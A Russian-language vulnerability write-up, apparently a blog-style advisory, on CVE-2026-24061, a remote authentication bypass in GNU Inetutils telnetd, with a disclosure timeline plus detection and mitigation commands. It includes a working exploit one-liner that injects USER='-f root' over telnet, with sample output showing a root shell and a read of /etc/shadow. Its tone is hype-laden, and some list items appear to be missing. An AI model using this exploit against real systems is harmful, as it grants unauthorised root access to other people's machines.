
CVE-2026-24061
Критический обход удаленной аутентификации в GNU Inetutils telnetd
Призрак 2015 года вернулся, чтобы взломать всё, что всё ещё использует telnet.
Ноль аутентификации. Одна переменная окружения. Мгновенная root-оболочка.
CVE-2026-24061 — это критическая уязвимость удаленного повышения привилегий в GNU Inetutils telnetd ≤ 2.7.
Неаутентифицированный удаленный злоумышленник устанавливает переменную окружения USER в "-f root" через опцию Telnet NEW-ENVIRON.
telnetd передает ее без проверки напрямую в /bin/login → login видит -f root → пропускает всю аутентификацию → отправляет злоумышленника в root-оболочку.
Опасный код тихо сидел в дереве исходников почти 11 лет (примерно с 2015 года).
«Одна переменная окружения. Никакого пароля. Полный root. Добро пожаловать в 2026.»
Реальность в марте 2026 года:
Когда telnetd получает опцию NEW-ENVIRON, содержащую:
USER=-f root
Он напрямую добавляет значение к argv, передаваемому в /bin/login:
execve("/bin/login", ["login", "-f", "root", ...], ...)
Бинарник login интерпретирует -f root как:
«этот пользователь уже аутентифицирован как root — проверка пароля не требуется».
→ Злоумышленник получает приглашение #. Игра окончена.
Ключевая фатальная ошибка проектирования: перенаправление -R / переменной окружения никогда не ограничивалось авторизованными пользователями.
Уязвимые версии: GNU Inetutils telnetd 1.9.3 – 2.7
Распространенные цели в 2026 году:
Безопасно:
Однострочник (любой Linux/macOS с telnet-клиентом):
USER="-f root" telnet -a 192.168.1.50
Типичный вывод:
┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.
Debian GNU/Linux 12 telnetd
root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...
Одно нажатие Enter — полный root-доступ.
telnet localhost 23 # look for inetutils banner
inetutils-telnetd --version # vulnerable if ≤ 2.7
systemctl disable --now inetutils-inetd # or telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd
sudo apt update && sudo apt install --reinstall inetutils-telnetd # → ≥2.8
iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp
| Дата | Событие |
|---|
| ~март 2015 | Внедрена обработка уязвимой переменной окружения |
| янв 2026 | Закрытое сообщение разработчикам |
| конец янв 2026 | Публичное раскрытие и присвоение CVE |
| конец янв 2026 | Выпущено исправление (Inetutils ≥ 2.8) |
| 26 янв 2026 | Добавлено в каталог эксплуатируемых уязвимостей CISA |
| фев–мар 2026 | Всплеск эксплуатации против устаревших/АСУ ТП систем |
| март 2026 | Многие встраиваемые вендоры всё ещё молчат или не выпускают патчи |